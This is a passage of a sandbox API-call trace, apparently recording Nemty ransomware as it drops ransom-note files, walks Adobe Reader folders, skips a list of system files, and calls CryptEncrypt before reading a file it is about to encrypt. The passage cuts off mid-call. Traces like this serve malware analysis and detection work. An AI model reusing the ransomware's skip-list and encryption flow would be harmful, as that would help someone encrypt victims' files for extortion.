10.0\\reader\\locale\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0173.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.367] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.367] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0173.368] CloseHandle (hObject=0x1ec) returned 1 [0173.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0173.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.369] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.369] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.370] CloseHandle (hObject=0x1ec) returned 1 [0173.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0173.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.370] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afa5510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0173.370] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.370] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afa5510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.370] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.370] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.370] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2=".") returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="..") returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="...") returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="windows") returned -1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="$RECYCLE.BIN") returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="rsa") returned -1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="NTDETECT.COM") returned -1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="ntldr") returned -1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="MSDOS.SYS") returned -1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="IO.SYS") returned -1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="boot.ini") returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="boot.ini") returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="AUTOEXEC.BAT") returned 1 [0173.370] lstrcmpiW (lpString1="ca_ES", lpString2="ntuser.dat") returned -1 [0173.371] lstrcmpiW (lpString1="ca_ES", lpString2="desktop.ini") returned -1 [0173.371] lstrcmpiW (lpString1="ca_ES", lpString2="CONFIG.SYS") returned -1 [0173.371] lstrcmpiW (lpString1="ca_ES", lpString2="RECYCLER") returned -1 [0173.371] lstrcmpiW (lpString1="ca_ES", lpString2="BOOTSECT.BAK") returned 1 [0173.371] lstrcmpiW (lpString1="ca_ES", lpString2="bootmgr") returned 1 [0173.371] lstrcmpiW (lpString1="ca_ES", lpString2="programdata") returned -1 [0173.371] lstrcmpiW (lpString1="ca_ES", lpString2="appdata") returned 1 [0173.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ca_ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ca_ES", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ca_ES", lpUsedDefaultChar=0x0) returned 5 [0173.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ca_ES", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ca_ES", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ca_ES", lpUsedDefaultChar=0x0) returned 5 [0173.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.371] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.371] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.376] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.376] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.377] CloseHandle (hObject=0x254) returned 1 [0173.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.378] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.378] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.379] CloseHandle (hObject=0x254) returned 1 [0173.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.379] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afa5510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.379] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.379] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1afa5510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1afa5510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.379] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.379] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.379] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.CAT", cAlternateFileName="ACCESS~1.CAT")) returned 1 [0173.379] lstrcmpiW (lpString1="accessibility.CAT", lpString2=".") returned 1 [0173.379] lstrcmpiW (lpString1="accessibility.CAT", lpString2="..") returned 1 [0173.379] lstrcmpiW (lpString1="accessibility.CAT", lpString2="...") returned 1 [0173.379] lstrcmpiW (lpString1="accessibility.CAT", lpString2="windows") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="$RECYCLE.BIN") returned 1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="rsa") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="NTDETECT.COM") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="ntldr") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="MSDOS.SYS") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="IO.SYS") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="boot.ini") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="boot.ini") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="AUTOEXEC.BAT") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="ntuser.dat") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="desktop.ini") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="CONFIG.SYS") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="RECYCLER") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="BOOTSECT.BAK") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="bootmgr") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="programdata") returned -1 [0173.380] lstrcmpiW (lpString1="accessibility.CAT", lpString2="appdata") returned -1 [0173.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CAT", lpUsedDefaultChar=0x0) returned 17 [0173.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0173.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CAT", lpUsedDefaultChar=0x0) returned 17 [0173.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0173.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CAT", lpUsedDefaultChar=0x0) returned 17 [0173.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.CAT", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.CAT", lpUsedDefaultChar=0x0) returned 17 [0173.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.381] Sleep (dwMilliseconds=0x5) [0173.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aff17d0, dwHighDateTime=0x1d561e8)) [0173.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1aff17d0, dwHighDateTime=0x1d561e8)) [0173.392] GetLastError () returned 0xb7 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.392] GetLastError () returned 0xb7 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.392] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.392] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.392] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.392] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="2fyYO3ukcpm6nDSTz8svL+Ow9d++UIXpDAZu0FAoeeIilsUw1F+B/ZBs8uyRzsUA\r\njJPtk6WQdxaYbCUOCY3VAr9KTqaU4RDUKFnyInj+pyKqFp/56VZU+Ie0cX4dfM8u\r\nypo999iY8b47APzhU1HL1Tj0UUvL0LY3JSf2n7GN218szy333egGMHfaoMwKwx+8\r\nV9qzjtTsDsuyCx+90lPssTkoXTWf0y4M/wpxWhgCFN+GygGHypI4KeuXcOgcFvMq\r\ndFue2hDCURRCpbhRvWVavooscevXy4mMlVKCn8yq0JHbRVJdJhQqeDtaC9ZEXzKF\r\nOIrJDRfxq656ejwe9TzLkA==\r\n", pcchString=0x653e5dc) returned 1 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.392] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.393] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45056) returned 1 [0173.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb000) returned 0x6352c48 [0173.393] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.393] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb000, lpOverlapped=0x0) returned 1 [0173.398] SetFilePointer (in: hFile=0x3b0, 